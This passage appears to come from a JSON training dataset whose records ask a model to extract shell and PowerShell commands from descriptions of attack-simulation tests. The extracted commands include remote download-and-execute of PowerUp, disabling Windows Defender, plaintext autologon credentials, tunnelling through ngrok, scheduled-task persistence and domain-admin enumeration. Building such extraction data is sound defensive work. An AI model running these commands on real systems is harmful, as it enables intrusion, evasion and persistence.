Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The RemoteFXvGPUDisablement.exe executable can be manipulated to execute custom PowerShell code through module load-order hijacking, which is demonstrated by running the following command: Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path}.; By executing the command wuauclt.exe /UpdateDeploymentProvider \"#{arbitrary_dll}\" /RunHandlerComServer, you can test loading an arbitrary DLL with Wuauclt, which defaults to launching calculator.exe.", "output": "{\"command_list\": [\"Invoke-ATHRemoteFXvGPUDisablementCommand -ModuleName #{module_name} -ModulePath #{module_path}\", \"wuauclt.exe /UpdateDeploymentProvider \\\"#{arbitrary_dll}\\\" /RunHandlerComServer\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For Lockbit Black to configure automatic logon, execute this command: New-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultUserName -Value Administrator -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultDomainName -Value contoso.com -Force\nNew-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" -Name DefaultPassword -Value password1 -Force; This Atomic test disables Windows Defender by leveraging PowerShell's Disable-WindowsOptionalFeature cmdlet, similar to DISM.exe functionality. To execute this action, run the following commands:\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-Gui\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-Features\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender\" -NoRestart -ErrorAction Ignore\nDisable-WindowsOptionalFeature -Online -FeatureName \"Windows-Defender-ApplicationGuard\" -NoRestart -ErrorAction Ignore\nNote that successful execution produces no output unless the quiet switch is removed.", "output": "{\"command_list\": [\"New-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name AutoAdminLogon -PropertyType DWord -Value 1 -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultUserName -Value Administrator -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultDomainName -Value contoso.com -Force\\nNew-ItemProperty \\\"HKLM:\\\\Software\\\\Policies\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\" -Name DefaultPassword -Value password1 -Force\\n\", \"Disable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender-Gui\\\" -NoRestart -ErrorAction Ignore\\nDisable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender-Features\\\" -NoRestart -ErrorAction Ignore\\nDisable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender\\\" -NoRestart -ErrorAction Ignore\\nDisable-WindowsOptionalFeature -Online -FeatureName \\\"Windows-Defender-ApplicationGuard\\\" -NoRestart -ErrorAction Ignore\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This test mimics cryptojacking behavior by creating high CPU load with the command: yes > /dev/null. Use CTRL/CMD+C to stop the simulation when done.; The file association of .hta files can be changed from cmd.exe to notepad.exe by executing this command: assoc #{extension_to_change}=#{target_extension_handler}", "output": "{\"command_list\": [\"yes > /dev/null\\n\", \"assoc #{extension_to_change}=#{target_extension_handler}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n This PowerShell test reveals domain information when executed, though errors may appear on non-domain machines, with the command: get-ADPrincipalGroupMembership #{user} | select name; For enumerating high-value domain groups while simulating discovery, execute the following command sequence, which may show errors on standalone systems: net groups \"Account Operators\" /doma\nnet groups \"Exchange Organization Management\" /doma\nnet group \"BUILTIN\\\\Backup Operators\" /doma\nnet group /domai \"Domain Admins\"", "output": "{\"command_list\": [\"get-ADPrincipalGroupMembership #{user} | select name\\n\", \"net groups \\\"Account Operators\\\" /doma\\nnet groups \\\"Exchange Organization Management\\\" /doma\\nnet group \\\"BUILTIN\\\\Backup Operators\\\" /doma\\nnet group /domai \\\"Domain Admins\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n You can establish an ngrok tunnel to a specified port by executing this command: C:\\Users\\Public\\ngrok\\ngrok.exe config add-authtoken #{api_token} | Out-Null\nStart-Job -ScriptBlock { C:\\Users\\Public\\ngrok\\ngrok.exe tcp #{port_num} } | Out-Null\nStart-Sleep -s 5 \nStop-Job -Name Job1 | Out-Null\n; For exposing local services via Cloudflared tunnels, use the command: nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &", "output": "{\"command_list\": [\"C:\\\\Users\\\\Public\\\\ngrok\\\\ngrok.exe config add-authtoken #{api_token} | Out-Null\\nStart-Job -ScriptBlock { C:\\\\Users\\\\Public\\\\ngrok\\\\ngrok.exe tcp #{port_num} } | Out-Null\\nStart-Sleep -s 5 \\nStop-Job -Name Job1 | Out-Null\\n\", \"nohup #{binary_path} tunnel --url #{url_to_tunnel} #{additional_args} >/dev/null 2>&1 &\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n NirCmd is often employed by threat actors to run commands under the SYSTEM context, enabling activities like recon or privilege escalation, via the command: cmd /c \"#{nircmd_location}\" #{command_to_execute}\n; This test mimics the Octopus malware by executing the command: copy %temp%\\ExplorerSync.db %temp%\\..\\Microsoft\\ExplorerSync.db\nschtasks /create /tn ExplorerSync /tr \"javaw -jar %temp%\\..\\Microsoft\\ExplorerSync.db\" /sc MINUTE /f", "output": "{\"command_list\": [\"cmd /c \\\"#{nircmd_location}\\\" #{command_to_execute}\\n\", \"copy %temp%\\\\ExplorerSync.db %temp%\\\\..\\\\Microsoft\\\\ExplorerSync.db\\nschtasks /create /tn ExplorerSync /tr \\\"javaw -jar %temp%\\\\..\\\\Microsoft\\\\ExplorerSync.db\\\" /sc MINUTE /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The malware Ursnif downloads supplementary modules from its command-and-control server and persists them in the registry via the command: reg add HKCU\\Software\\AppDataLow\\Software\\Microsoft\\3A861D62-51E0-15700F2219A4 /v comsxRes /t REG_BINARY /d 72656463616e617279 /f.; To clear the saved remote computer names and usernames from the Windows RDP client, use the following commands: reg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Default\" /va /f\nreg delete \"HKEY_CURRENT_USER\\Software\\Microsoft\\Terminal Server Client\\Servers\" /f\n", "output": "{\"command_list\": [\"reg add HKCU\\\\Software\\\\AppDataLow\\\\Software\\\\Microsoft\\\\3A861D62-51E0-15700F2219A4 /v comsxRes /t REG_BINARY /d 72656463616e617279 /f\\n\", \"reg delete \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Default\\\" /va /f\\nreg delete \\\"HKEY_CURRENT_USER\\\\Software\\\\Microsoft\\\\Terminal Server Client\\\\Servers\\\" /f\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory 